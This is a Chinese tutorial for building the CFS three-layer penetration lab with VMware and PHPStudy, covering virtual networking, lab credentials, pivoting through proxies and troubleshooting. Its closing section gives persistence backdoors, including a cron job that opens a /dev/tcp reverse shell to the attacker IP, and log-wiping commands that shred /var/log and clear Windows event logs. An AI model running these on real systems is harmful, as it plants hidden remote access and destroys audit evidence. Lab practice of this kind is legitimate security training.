保姆级教程：用VMware+PHPStudy复现CFS三层靶场（附全套网盘环境与排错指南）
从零构建CFS三层靶场：VMware与PHPStudy深度配置指南
在网络安全学习过程中，靶场环境搭建往往是阻碍进步的第一道门槛。许多初学者在复现复杂网络拓扑时，总会在虚拟网络配置、服务部署和代理转发等环节遭遇各种"玄学"问题。本文将彻底解决这些痛点，通过VMware Workstation和PHPStudy的组合，带你一步步搭建稳定的CFS三层靶场环境。
1. 环境准备与基础架构设计
1.1 硬件与软件需求清单
在开始之前，请确保你的Windows系统满足以下要求：
硬件配置：
- CPU：支持虚拟化的Intel i5及以上（建议4核以上）
- 内存：至少8GB（推荐16GB）
- 存储：50GB可用空间（SSD更佳）
必备软件：
VMware Workstation Pro 16+ PHPStudy 8.1（集成Nginx/Apache+MySQL+PHP） Kali Linux 2022虚拟机镜像
1.2 网络拓扑规划
CFS三层靶场的核心在于隔离的网络区域设计。我们采用以下IP规划方案：
| 网络区域 | 网段 | 连接设备 | 用途 |
|---|---|---|---|
| 外网区域 | 192.168.1.0/24 | Kali攻击机 | 初始渗透入口 |
| 中间层 | 192.168.22.0/24 | Target1、Target2 | 第一跳内网 |
| 核心层 | 192.168.33.0/24 | Target2、Target3 | 最终目标网络 |
提示：建议提前在纸上绘制网络拓扑图，标注各设备的网卡连接方式，这对后续配置至关重要。
2. VMware虚拟网络深度配置
2.1 虚拟网络编辑器高级设置
- 打开VMware Workstation，进入"编辑"→"虚拟网络编辑器"
- 点击"更改设置"获取管理员权限
- 按以下参数创建三个自定义网络：
VMnet1: 类型: 仅主机模式 子网IP: 192.168.1.0 子网掩码: 255.255.255.0 取消勾选"使用本地DHCP服务" VMnet2: 类型: 仅主机模式 子网IP: 192.168.22.0 子网掩码: 255.255.255.0 VMnet3: 类型: 仅主机模式 子网IP: 192.168.33.0 子网掩码: 255.255.255.02.2 虚拟机网卡绑定策略
各虚拟机的网卡配置需要严格遵循以下规则：
Kali攻击机：
- 单网卡：VMnet1（192.168.1.0网段）
Target1：
- 网卡1：VMnet1（连接攻击机）
- 网卡2：VMnet2（通往Target2）
Target2：
- 网卡1：VMnet2（连接Target1）
- 网卡2：VMnet3（通往Target3）
- 临时网卡：VMnet1（初始配置用，完成后需移除）
Target3：
- 单网卡：VMnet3（仅与Target2通信）
常见错误：网卡绑定顺序错误会导致路由异常，务必按照上述顺序添加网卡。
3. 靶机系统与服务配置
3.1 系统基础设置
启动各靶机后，执行以下基础配置：
登录凭证（所有靶机通用）：
用户名: root 密码: teamssix.com网络接口验证命令：
ip a # 查看网卡IP分配情况 ping 192.168.x.1 # 测试网关连通性持久化网络配置（以Target1为例）：
nano /etc/network/interfaces # 添加以下内容 auto ens33 iface ens33 inet static address 192.168.1.128 netmask 255.255.255.0 auto ens34 iface ens34 inet static address 192.168.22.129 netmask 255.255.255.0
3.2 PHPStudy服务部署
在Target1和Target2上配置Web服务：
启动PHPStudy服务：
/phpstudy/phpstudy start宝塔面板访问信息：
靶机 访问地址 用户名 密码 Target1 http://[IP]:8888/a768f109/ eaj3yhsl 41bb8fee Target2 http://[IP]:8888/2cc52ec0/ xdynr37d 123qwe.. 关键检查点：
- 确保Target1的80端口在192.168.1.0网段可访问
- 验证Target2的Web服务在22网段运行正常
- 关闭所有靶机的防火墙：
systemctl stop firewalld ufw disable
4. 渗透测试环境验证与排错
4.1 网络连通性测试方案
使用Kali攻击机执行分层测试：
第一层测试：
ping 192.168.1.128 # Target1外网接口 nmap -sS -Pn 192.168.1.128第二层代理测试：
proxychains nmap -sT -Pn 192.168.22.129第三层跳板测试：
# 通过Target2跳转 proxychains nmap -sT -Pn 192.168.33.33
4.2 常见故障排除指南
场景1：MSF会话频繁断开
解决方案：
- 调整会话保持参数：
set SessionCommunicationTimeout 300 set SessionExpirationTimeout 600 - 使用自动重连模块：
use post/multi/manage/autoroute
场景2：代理服务不稳定
替代工具推荐：
- Neo-reGeorg部署：
python neoreg.py generate -k your_password # 上传tunnel脚本到靶机Web目录 - EarthWorm配置：
./ew -s ssocksd -l 1080
场景3：跨网段路由失效
诊断步骤：
- 检查路由表：
run autoroute -p - 手动添加路由：
route add 192.168.22.0 mask 255.255.255.0 192.168.1.128
5. 靶场实战技巧进阶
5.1 内网信息收集自动化
创建自动化扫描脚本（保存为scan.sh）：
#!/bin/bash # 第一层扫描 nmap -sS -A -oN layer1.txt 192.168.1.128 # 通过代理扫描第二层 proxychains nmap -sT -Pn -A -oN layer2.txt 192.168.22.129 # 通过双跳代理扫描第三层 proxychains -f /etc/proxychains_multi.conf nmap -sT -Pn -A -oN layer3.txt 192.168.33.335.2 权限维持备用方案
除了常规的Meterpreter会话，建议配置多种后门：
- SSH隧道后门：
ssh -fN -R 2222:localhost:22 root@攻击机IP - Cron计划任务：
(crontab -l ; echo "*/5 * * * * /bin/bash -c 'exec 5<>/dev/tcp/攻击机IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'") | crontab -
5.3 日志清理与痕迹消除
结束测试前执行：
# Linux系统 find /var/log -type f -exec shred -uvz {} \; history -c # Windows系统（通过WinRM执行） wevtutil cl system wevtutil cl security在实际测试环境中，最耗时的往往是网络配置环节。建议每次修改配置后保存虚拟机快照，并记录关键步骤的截图。遇到代理问题时，可以尝试更换工具链，比如用Chisel替代传统的SOCKS代理工具